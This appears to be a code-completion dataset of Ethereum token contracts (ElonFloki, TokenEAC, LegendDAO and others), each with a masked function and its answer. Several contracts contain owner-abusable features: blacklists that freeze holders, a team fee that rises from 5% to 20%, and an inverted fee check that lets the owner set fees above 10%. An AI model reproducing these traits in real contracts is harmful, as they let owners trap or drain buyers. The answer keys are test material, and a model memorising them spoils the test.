bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualSwap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
contract ElonFlokiToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonFloki | t.me/eflokitoken"; string private constant _symbol = "eFloki \xF0\x9F\x92\xB9"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; uint256 private _launchTime; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { if (block.timestamp < _launchTime + 7 minutes) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } <FILL_FUNCTION> function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualSwap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
require(!tradingOpen, "Liquidity already added"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 20; _maxTxAmount = 3000000000 * 10**9; tradingOpen = true; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max );
function addLiquidityETH() external onlyOwner()
function addLiquidityETH() external onlyOwner()
42129
TokenEAC
burn
contract TokenEAC { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; mapping (address => bool) public blacklist; address admin; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes admin = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { require(!blacklist[msg.sender]); _transfer(msg.sender, _to, _value); return true; } /** * Ban address * * @param addr ban addr */ function ban(address addr) public { require(msg.sender == admin); blacklist[addr] = true; } /** * Enable address * * @param addr enable addr */ function enable(address addr) public { require(msg.sender == admin); blacklist[addr] = false; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!blacklist[msg.sender]); require(!blacklist[_from]); require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { require(!blacklist[msg.sender]); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(!blacklist[msg.sender]); tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(!blacklist[msg.sender]); require(!blacklist[_from]); require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance require(_value <= totalSupply); balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
contract TokenEAC { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; mapping (address => bool) public blacklist; address admin; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes admin = msg.sender; } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { require(!blacklist[msg.sender]); _transfer(msg.sender, _to, _value); return true; } /** * Ban address * * @param addr ban addr */ function ban(address addr) public { require(msg.sender == admin); blacklist[addr] = true; } /** * Enable address * * @param addr enable addr */ function enable(address addr) public { require(msg.sender == admin); blacklist[addr] = false; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(!blacklist[msg.sender]); require(!blacklist[_from]); require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { require(!blacklist[msg.sender]); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(!blacklist[msg.sender]); tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } <FILL_FUNCTION> /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(!blacklist[msg.sender]); require(!blacklist[_from]); require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance require(_value <= totalSupply); balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
require(!blacklist[msg.sender]); require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(_value <= totalSupply); balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true;
function burn(uint256 _value) public returns (bool success)
/** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success)
88186
ERC20Detailed
name
contract ERC20Detailed is IERC20 { uint8 public _Tokendecimals; string public _Tokenname; string public _Tokensymbol; constructor(string memory name, string memory symbol, uint8 decimals) public { _Tokendecimals = decimals; _Tokenname = name; _Tokensymbol = symbol; } function name() public view returns(string memory) {<FILL_FUNCTION_BODY> } function symbol() public view returns(string memory) { return _Tokensymbol; } function decimals() public view returns(uint8) { return _Tokendecimals; } }
contract ERC20Detailed is IERC20 { uint8 public _Tokendecimals; string public _Tokenname; string public _Tokensymbol; constructor(string memory name, string memory symbol, uint8 decimals) public { _Tokendecimals = decimals; _Tokenname = name; _Tokensymbol = symbol; } <FILL_FUNCTION> function symbol() public view returns(string memory) { return _Tokensymbol; } function decimals() public view returns(uint8) { return _Tokendecimals; } }
return _Tokenname;
function name() public view returns(string memory)
function name() public view returns(string memory)
70225
Ownable
owner
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) {<FILL_FUNCTION_BODY> } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } <FILL_FUNCTION> /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
return _owner;
function owner() public view returns (address)
/** * @dev Returns the address of the current owner. */ function owner() public view returns (address)
41836
SafeMath
safeSub
contract SafeMath { function safeSub(uint a, uint b) pure internal returns (uint) {<FILL_FUNCTION_BODY> } function safeAdd(uint a, uint b) pure internal returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } }
contract SafeMath { <FILL_FUNCTION> function safeAdd(uint a, uint b) pure internal returns (uint) { uint c = a + b; assert(c >= a && c >= b); return c; } }
assert(b <= a); return a - b;
function safeSub(uint a, uint b) pure internal returns (uint)
function safeSub(uint a, uint b) pure internal returns (uint)
280
LegendDAO
buyBackTokens
contract LegendDAO is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public buyBackWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool private gasLimitActive = true; uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyBuyBackFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellBuyBackFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForBuyBack; uint256 public tokensForDev; // airdrop limits to prevent airdrop dump to protect new investors mapping(address => uint256) public _airDropAddressNextSellDate; mapping(address => uint256) public _airDropTokensRemaining; uint256 public airDropLimitLiftDate; bool public airDropLimitInEffect; mapping (address => bool) public _isAirdoppedWallet; mapping (address => uint256) public _airDroppedTokenAmount; uint256 public airDropDailySellPerc; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); constructor() ERC20("LegendDAO", "LGND") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); airDropLimitLiftDate = block.timestamp + 10 days; airDropLimitInEffect = true; airDropDailySellPerc = 10; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 8; uint256 _buyLiquidityFee = 2; uint256 _buyBuyBackFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 8; uint256 _sellLiquidityFee = 1; uint256 _sellBuyBackFee = 1; uint256 _sellDevFee = 0; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 5 / 500; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 5 / 100; // 5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBuyBackFee = _buyBuyBackFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBuyBackFee = _sellBuyBackFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(buyBackWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(buyBackWallet, true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function airdropToWallets(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot airdrop after launch."); require(airdropWallets.length == amounts.length, "arrays must be the same length"); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input. for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _isAirdoppedWallet[wallet] = true; _airDroppedTokenAmount[wallet] = amount; _airDropTokensRemaining[wallet] = amount; _airDropAddressNextSellDate[wallet] = block.timestamp.sub(1); _transfer(msg.sender, wallet, amount); } return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyBuyBackFee = _buyBackFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; require(10 <= buyTotalFees, "Must keep fees at 10% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellBuyBackFee = _buyBackFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; require(10 <= sellTotalFees, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function getWalletMaxAirdropSell(address holder) public view returns (uint256){ 